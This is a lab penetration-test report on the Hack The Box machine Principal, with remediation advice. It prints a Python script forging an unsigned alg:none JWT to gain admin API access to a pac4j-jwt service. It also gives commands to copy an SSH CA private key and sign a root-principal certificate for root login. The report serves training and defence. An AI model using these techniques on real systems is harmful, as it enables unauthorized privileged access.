Principal - Engagement Report
Executive Summary
This report documents the authorized assessment of the Hack The Box machine Principal, completed on May 27, 2026. Principal was a medium-difficulty Linux target focused on misplaced cryptographic trust. The assessment resulted in full compromise of the target, beginning with an authentication bypass against the Principal Internal Platform and ending with root access through abuse of SSH certificate trust configuration.
Two major weaknesses enabled compromise. First, the web application exposed a vulnerable pac4j-jwt 6.0.3 authentication flow that accepted a forged unsigned JWT with administrator claims. Second, the authenticated svc-deploy user had read access to the SSH CA private key material under /opt/principal/ssh, and the SSH daemon trusted certificates signed by this CA without enforcing proper authorized principal restrictions. Together, these issues allowed administrative web access, SSH access as a service user, and certificate-based escalation to root.
Approach
This was treated as an authorized black-box lab assessment. Testing began with network enumeration against the provided target IP address, followed by web application review, API endpoint inspection, authentication bypass testing, credential discovery, SSH access validation, local privilege escalation enumeration, and exploitation of SSH certificate trust configuration. Passwords and flags are intentionally redacted from this report.
Assessment Scope
The approved scope included:
- Target: Hack The Box Principal machine
- Target IP: 10.129.244.220
- Target platform: Ubuntu Linux
- Exposed services: SSH on TCP/22 and HTTP/Jetty on TCP/8080
- Objective: Obtain user and root flags within the authorized lab environment
The primary tool set used during the assessment included:
- curl
- ffuf
- Firefox Developer Tools / page source review
- Nmap
- OpenSSH client utilities: ssh, scp, ssh-keygen
- Python 3
- whatweb
- wfuzz
Assessment Overview and Recommendations
Principal exposed two listening TCP services. SSH was available on TCP/22, and a Jetty-hosted web application was available on TCP/8080. The web service identified itself as pac4j-jwt/6.0.3, which was relevant as CVE-2026-29000 affects vulnerable pac4j-jwt JwtAuthenticator processing of encrypted JWT/JWE authentication flows. The application's main JavaScript file, served from /static/js/app.js, documented key API routes, including /api/auth/jwks, /api/auth/login, /api/dashboard, /api/users, and /api/settings.
Administrative access to the API was achieved by sending a forged unsigned JWT with administrator claims in the HTTP Authorization header. The /api/settings endpoint then exposed a plaintext credential for SSH access. The credential successfully authenticated the svc-deploy user over SSH. Local enumeration showed that this user belonged to the deployers group, which could read /opt/principal/ssh. That directory contained SSH CA material used for certificate-based authentication. The SSH daemon custom configuration was found in /etc/ssh/sshd_config.d/60-principal.conf and trusted the CA public key through TrustedUserCAKeys /opt/principal/ssh/ca.pub. A root principal certificate was signed and used to authenticate as root.
The most important remediation themes are to patch vulnerable authentication libraries, reject unsigned JWTs, enforce strict token validation, remove plaintext secrets from web-accessible administrative settings, protect private CA keys, and require explicit authorized principal restrictions for SSH certificate authentication.
Primary Vulnerabilities and Weaknesses
1. JWT Authentication Bypass / Improper Signature Verification
The web application ran pac4j-jwt/6.0.3 and accepted a crafted unsigned JWT using alg: none. The token contained arbitrary administrator identity and role claims. This allowed access to protected administrative API endpoints without valid credentials. This weakness aligns with CVE-2026-29000, which is described as an authentication bypass in pac4j-jwt JwtAuthenticator when processing encrypted JWT/JWE flows and failing to properly verify PlainJWT inner claims.
2. Plaintext Credential Disclosure in Administrative Settings
After administrative API access was obtained, /api/settings exposed a plaintext SSH-related credential. This credential successfully authenticated to SSH as svc-deploy.
3. Excessive Group Read Access to SSH CA Material
The svc-deploy account belonged to the deployers group. The directory /opt/principal/ssh was readable by this group and contained SSH CA material, including a private CA key. Because this key could be copied and used to sign user certificates, compromise of any deployer account created a path to certificate abuse.
4. SSH Certificate Principal Validation Failure
The system trusted certificates signed by the CA through TrustedUserCAKeys, but the custom SSH configuration did not enforce appropriate authorized principal restrictions. This allowed a certificate to be signed with the root principal and used for root login.
Mitigation Recommendations
- Patch pac4j-jwt: Upgrade pac4j-jwt to a fixed release. Public advisories identify fixed versions as 4.5.9 or newer, 5.7.9 or newer, and 6.3.3 or newer, depending on the major branch.
- Reject unsigned JWTs: Explicitly reject alg: none and require signed tokens with approved algorithms only.
- Validate both token structure and claims: Verify issuer, audience, subject, expiration, not-before, roles, and signature before building a user profile or granting access.
- Do not expose secrets through settings APIs: Remove passwords, private keys, tokens, and encryption secrets from web-accessible API responses. Use a secrets manager such as Vault and return only non-sensitive metadata.
- Rotate exposed credentials: Rotate the exposed svc-deploy password and any dependent deployment secrets.
- Protect SSH CA private keys: CA private keys should not be stored on general-purpose systems or readable by service groups. Store CA keys offline or in a tightly controlled signing service with audit logging and least-privilege access.
- Enforce SSH certificate principal restrictions: Use AuthorizedPrincipalsFile or AuthorizedPrincipalsCommand to restrict which principals each account may use.
- Restrict root SSH access: Disable direct root login unless absolutely required. Where root login is necessary, require strong controls and tight certificate principal mapping.
- Monitor authentication events: Alert on unexpected JWT algorithms, unsigned tokens, administrator claim changes, suspicious SSH certificate issuance, and certificates with privileged principals.
Walkthrough
Enumeration Steps
The assessment began by identifying the attack interface and confirming which services were exposed. The local VPN interface showed the tester was operating from the Hack The Box VPN network.
ifconfig
Relevant VPN interface:
tun0: inet 10.10.16.108 netmask 255.255.254.0 destination 10.10.16.108
A full TCP scan with version and default script detection was run against the target. The scan started at 2026-05-27 01:32 -0400 and found exactly two open TCP ports: SSH on TCP/22 and HTTP/Jetty on TCP/8080.
nmap -Pn -sCV -p- 10.129.244.220 -vv -T3 --min-rate 500 --max-retries 20 --open
Starting Nmap 7.99 at 2026-05-27 01:32 -0400
Discovered open port 8080/tcp on 10.129.244.220
Discovered open port 22/tcp on 10.129.244.220
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
8080/tcp open http-proxy Jetty
|_http-server-header: Jetty
| http-title: Principal Internal Platform - Login
|_Requested resource was /login
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 302 Found
| Server: Jetty
| X-Powered-By: pac4j-jwt/6.0.3
| Location: /login
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
Nmap done: 1 IP address (1 host up) scanned in 43.85 seconds
The web application was visited at http://10.129.244.220:8080 and redirected to /login. Additional technology checks confirmed the login page included a password field.
whatweb http://10.129.244.220:8080
Notable result:
PasswordField[password]
Content discovery was performed with ffuf. File fuzzing did not identify useful files, but directory fuzzing discovered several application routes, including /login, /dashboard, and protected Java application paths.
ffuf -u http://10.129.244.220:8080/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -t 300 -fs 3142
Result:
No useful files found
ffuf -u http://10.129.244.220:8080/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -recursion -recursion-depth 2
Located:
/error
/login
/WEB-INF
/dashboard
/META-INF
/web-inf
Virtual host fuzzing did not identify additional useful vhosts.
wfuzz -u http://10.129.244.220:8080/ -H "Host: FUZZ.principal.htb" -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt --hw 10 -t 5
Result:
No subdomains located
The login page source identified the main JavaScript file for the application at /static/js/app.js. Reviewing this file revealed the authentication flow, token storage behavior, API endpoints, and JSON Web Key Set endpoint.
curl -s http://10.129.244.220:8080/login | grep -i "script\|static\|js"
Located:
/static/js/app.js
curl -s http://10.129.244.220:8080/static/js/app.js
Notable findings:
- User submits credentials to /api/auth/login
- Server returns encrypted JWT (JWE) token
- Token is stored and sent as Bearer token
- Tokens are documented as RSA-OAEP-256 + A128GCM
- Public key available at /api/auth/jwks
- Inner JWT is documented as RS256
- API endpoints identified:
/api/auth/login
/api/auth/jwks
/api/dashboard
/api/users
/api/settings
Environment Overview
| Network | Address | Description |
|---|---|---|
| Target Host | 10.129.244.220 | Principal target machine exposing SSH and Jetty HTTP service. |
Vulnerability Analysis
Risk Summary
| Severity | Count | Details |
|---|---|---|
| Critical | 2 | JWT authentication bypass enabling administrator API access, SSH CA principal validation failure enabling root login |
| High | 2 | Plaintext SSH credential disclosure, deployer group read access to SSH CA private key |
| Medium | 1 | Information disclosure through technology banners and application JavaScript comments |
| Low | 0 | None recorded |
| Informational | 3 | Jetty server identified, pac4j-jwt version disclosed, administrative API route names exposed client-side |
A failed login attempt against /api/auth/login returned 401 Unauthorized and confirmed the server header and pac4j-jwt version through the X-Powered-By header. The timestamp on the failed login response was Wed, 27 May 2026 06:33:00 GMT.
POST /api/auth/login HTTP/1.1
Host: 10.129.244.220:8080
Content-Type: application/json
{"username":"administrator","password":"wrong"}
HTTP/1.1 401 Unauthorized
Date: Wed, 27 May 2026 06:33:00 GMT
Server: Jetty
X-Powered-By: pac4j-jwt/6.0.3
Content-Type: application/json
The JSON Web Key Set endpoint was publicly accessible at /api/auth/jwks. This endpoint exposed a public RSA key with kid value enc-key-1. Public keys are not secret, but this confirmed the application's JWT/JWE design and supported analysis of the authentication bypass path.
curl -i http://10.129.244.220:8080/api/auth/jwks -H "Authorization: Bearer test"
HTTP/1.1 200 OK
Date: Wed, 27 May 2026 06:39:10 GMT
Server: Jetty
X-Powered-By: pac4j-jwt/6.0.3
Content-Type: application/json
{"keys":[{"kty":"RSA","e":"AQAB","kid":"enc-key-1","n":"<public-rsa-modulus>"}]}
Protected endpoints rejected arbitrary bearer values with an invalid token message, showing that the application expected a token but that basic random input was insufficient.
curl -i http://10.129.244.220:8080/api/dashboard -H "Authorization: Bearer test"
HTTP/1.1 401 Unauthorized
Date: Wed, 27 May 2026 06:38:46 GMT
Server: Jetty
X-Powered-By: pac4j-jwt/6.0.3
Content-Type: application/json
{"error":"Unauthorized","message":"Invalid or expired token"}
Exploitation
A forged unsigned JWT was created locally using Python. The token specified alg: none and contained administrator identity and role claims. This was sent as a bearer token to the protected dashboard API and was accepted by the application.
python3 - << 'EOF'
import base64, json
def b64(x):
return base64.urlsafe_b64encode(
json.dumps(x,separators=(",",":")).encode()
).rstrip(b"=").decode()
header = {"alg":"none","typ":"JWT"}
payload = {
"sub":"administrator",
"role":"ROLE_ADMIN",
"iss":"principal-platform"
}
print(f"{b64(header)}.{b64(payload)}.")
EOF
TOKEN='<forged unsigned administrator JWT>'
curl -i http://10.129.244.220:8080/api/dashboard -H "Authorization: Bearer $TOKEN"
HTTP/1.1 200 OK
Date: Wed, 27 May 2026 06:41:57 GMT
Server: Jetty
X-Powered-By: pac4j-jwt/6.0.3
Content-Type: application/json
Notable response data:
- user.username: administrator
- user.role: ROLE_ADMIN
- totalUsers: 8
- activeDeployments: 3
- systemHealth: operational
- Announcement: New SSH CA Rotation
- Recent activity included svc-deploy CERT_ISSUED events
The forged administrator token was then used to query the users endpoint. This identified the svc-deploy service account and confirmed it was used for automated deployments through SSH certificate authentication.
curl -i http://10.129.244.220:8080/api/users -H "Authorization: Bearer $TOKEN"
HTTP/1.1 200 OK
Date: Wed, 27 May 2026 06:42:52 GMT
Server: Jetty
X-Powered-By: pac4j-jwt/6.0.3
Content-Type: application/json
Notable users:
- admin / Sarah Chen / ROLE_ADMIN
- svc-deploy / Deploy Service / role: deployer
- jthompson / ROLE_USER
- amorales / ROLE_USER
- bwright / ROLE_MANAGER
- kkumar / ROLE_ADMIN / disabled
- mwilson / ROLE_USER
- lzhang / ROLE_MANAGER
svc-deploy note:
Service account for automated deployments via SSH certificate auth.
The settings endpoint exposed system, security, and infrastructure details. Most importantly, it returned a plaintext SSH-related credential. The actual value is redacted below. This endpoint also confirmed the SSH CA path as /opt/principal/ssh/ and indicated certificate authentication was enabled.
curl -i http://10.129.244.220:8080/api/settings \
-H "Authorization: Bearer $TOKEN"
HTTP/1.1 200 OK
Date: Wed, 27 May 2026 06:42:57 GMT
Server: Jetty
X-Powered-By: pac4j-jwt/6.0.3
Content-Type: application/json
Notable response data:
security.authFramework: pac4j-jwt
security.authFrameworkVersion: 6.0.3
security.jwtAlgorithm: RS256
security.jweAlgorithm: RSA-OAEP-256
security.jweEncryption: A128GCM
security.encryptionKey: ******************
security.tokenExpiry: 3600s
infrastructure.sshCaPath: /opt/principal/ssh/
infrastructure.sshCertAuth: enabled
infrastructure.database: H2 (embedded)
infrastructure.notes: SSH certificate auth configured for automation - see /opt/principal/ssh/ for CA config.
SSH access was obtained as svc-deploy using the redacted plaintext credential from the web application.
ssh svc-deploy@10.129.244.220
Password: ******************
Result:
Successful SSH login as svc-deploy
The user flag was collected after SSH access was established. The flag value is not included in this report.
cat user.txt
Result:
User flag obtained and redacted.
Privilege Escalation
Local enumeration showed the authenticated user was svc-deploy and belonged to the deployers group. This group membership was important because /opt/principal/ssh was readable by the deployers group.
id
uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
ls -la /opt/principal/ssh/
total 20
drwxr-x--- 2 root deployers 4096 Mar 11 04:22 .
drwxr-xr-x 5 root root 4096 Mar 11 04:22 ..
-rw-r----- 1 root deployers 288 Mar 5 21:05 README.txt
-rw-r----- 1 root deployers 3381 Mar 5 21:05 ca
-rw-r--r-- 1 root root 742 Mar 5 21:05 ca.pub
find /opt/principal/ssh/ -maxdepth 2 -type f -ls
/opt/principal/ssh/ca.pub
/opt/principal/ssh/README.txt
/opt/principal/ssh/ca
The README confirmed that the keypair was used as an SSH certificate authority for automated deployment authentication.
cat /opt/principal/ssh/README.txt
CA keypair for SSH certificate automation.
This CA is trusted by sshd for certificate-based authentication.
Use deploy.sh to issue short-lived certificates for service accounts.
Key details:
Algorithm: RSA 4096-bit
Created: 2025-11-15
Purpose: Automated deployment authentication
The custom SSH configuration was identified by searching for certificate-related SSH directives. The file containing Principal's custom sshd configuration was /etc/ssh/sshd_config.d/60-principal.conf.
grep -R "TrustedUserCAKeys\|AuthorizedPrincipals" /etc/ssh/ 2>/dev/null
/etc/ssh/sshd_config:#AuthorizedPrincipalsFile none
/etc/ssh/sshd_config.d/60-principal.conf:TrustedUserCAKeys /opt/principal/ssh/ca.pub
/etc/ssh/sshd_config.bak:#AuthorizedPrincipalsFile none
The CA private key was copied to the local Kali machine using scp. The key content is intentionally not included in this report. File permissions were restricted locally so OpenSSH would allow the key to be used for signing.
scp svc-deploy@10.129.244.220:/opt/principal/ssh/ca ./ca
Password: ******************
chmod 600 ca
A new local SSH keypair was generated for the root login attempt. The public key was then signed with the copied CA key, assigning the certificate principal root. The certificate was successfully created at 2026-05-27T03:00:00 local time and was valid until 2027-05-26T03:01:26.
ssh-keygen -t rsa -f root_key
Result:
Your identification has been saved in root_key
Your public key has been saved in root_key.pub
ssh-keygen -s ca -I root-cert -n root -V +52w root_key.pub
Signed user key root_key-cert.pub: id "root-cert" serial 0 for root valid from 2026-05-27T03:00:00 to 2027-05-26T03:01:26
The signed certificate was accepted by the target SSH service, allowing root authentication. Root access was confirmed with id.
ssh -i root_key -o CertificateFile=root_key-cert.pub root@10.129.244.220
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64)
root@principal:~# id
uid=0(root) gid=0(root) groups=0(root)
The root flag was collected after successful root authentication. The flag value is not included in this report.
cat /root/root.txt
Result:
Root flag obtained and redacted.
User Accounts:
| User | Account Type | Account Weakness |
|---|---|---|
| administrator | Forged application identity | JWT signature validation bypass allowed arbitrary administrator claims. |
| svc-deploy | Service account | Plaintext credential was exposed through an administrative API response; account belonged to deployers group. |
| root | Privileged local account | SSH CA trust configuration accepted a certificate signed with exposed CA material and root principal. |
Post-Exploitation
Post-exploitation activities were limited to confirming access, collecting the lab flags, and identifying the configuration weakness that enabled root access. The assessment harvested one plaintext SSH credential from the application settings API, but the value is redacted in this report. The SSH CA private key was accessed for the purpose of demonstrating certificate abuse; private key material is not reproduced here. No persistence was installed, no lateral movement was attempted, and no data beyond the authorized lab flags and necessary configuration evidence was exfiltrated.
Final Assessment
The Principal machine was fully compromised through a chain of authentication and authorization failures. External enumeration found two open TCP ports: SSH and an HTTP service running Jetty. The web application disclosed its use of pac4j-jwt/6.0.3 and exposed a JWT/JWE-oriented authentication flow through client-side JavaScript. A forged unsigned JWT was accepted as an administrator token, enabling access to privileged API endpoints. The settings endpoint disclosed an SSH credential, which allowed login as svc-deploy. Local enumeration showed that svc-deploy belonged to the deployers group and could read SSH CA files under /opt/principal/ssh. The host trusted the CA through /etc/ssh/sshd_config.d/60-principal.conf without proper authorized principal enforcement. Signing a certificate with the root principal resulted in successful root SSH access.
Lessons Learned
This engagement reinforced that cryptographic systems fail when identity claims are not validated with the same rigor as the cryptographic envelope. The JWT bypass showed that a token parser accepting unsigned claims can defeat an otherwise complex JWE design. The SSH certificate issue showed that trusting a CA is not sufficient by itself; systems must also restrict which principals may authenticate as which accounts. From a defensive perspective, the strongest lessons are to patch authentication libraries quickly, never expose secrets through web APIs, strictly protect CA private keys, and enforce principal mapping for SSH certificate authentication.
Mitigation Techniques Summary
To prevent similar compromise paths, organizations should combine patch management, secure token validation, secrets management, and certificate governance. Authentication middleware should be configured to reject unsigned tokens, require signed claims, and enforce issuer, audience, role, subject, and expiration validation. Administrative APIs should never return passwords, private keys, tokens, or encryption secrets. SSH CA keys should be stored offline or within a hardened signing service, with strict access control and logging. SSH servers using certificate authentication should define per-user authorized principals and should not rely only on TrustedUserCAKeys. Root SSH login should be disabled where possible, and certificate issuance should be monitored for privileged principals such as root.
References
- Hack The Box - Principal
- NVD - CVE-2026-29000
- pac4j Security Advisory - JwtAuthenticator Authentication Bypass
- VulnCheck - pac4j-jwt JwtAuthenticator Authentication Bypass
- CodeAnt Security Research - pac4j-jwt Authentication Bypass with Public Key
- OpenBSD Manual - sshd_config TrustedUserCAKeys
- OpenBSD Manual - sshd_config AuthorizedPrincipalsFile
- OpenBSD Manual - ssh-keygen
Confidentiality Notice & Disclaimer
The contents of this document are authored by Anthony Alonso and constitute proprietary and confidential information. This material is intended solely for its designated purpose and may not be copied, released, shared, published, or distributed, in whole or in part, without explicit written consent.
Limitation of Liability & Educational Use
The information and mitigation steps provided herein are intended strictly for educational and informational purposes and do not constitute legal or professional advice. Any implementation of the recommended fixes, tools, or methods is undertaken entirely at your own risk. The author assumes no liability for any direct, indirect, or consequential damages, system disruptions, or data loss resulting from the use or misuse of this material.
Authorized Use Only
The tools, methods, and actions outlined in this document must only be executed within an authorized scope and with explicit, written permission from the respective network, system, and asset owners. These guides must not be utilized for any malicious activities or unauthorized exploitation.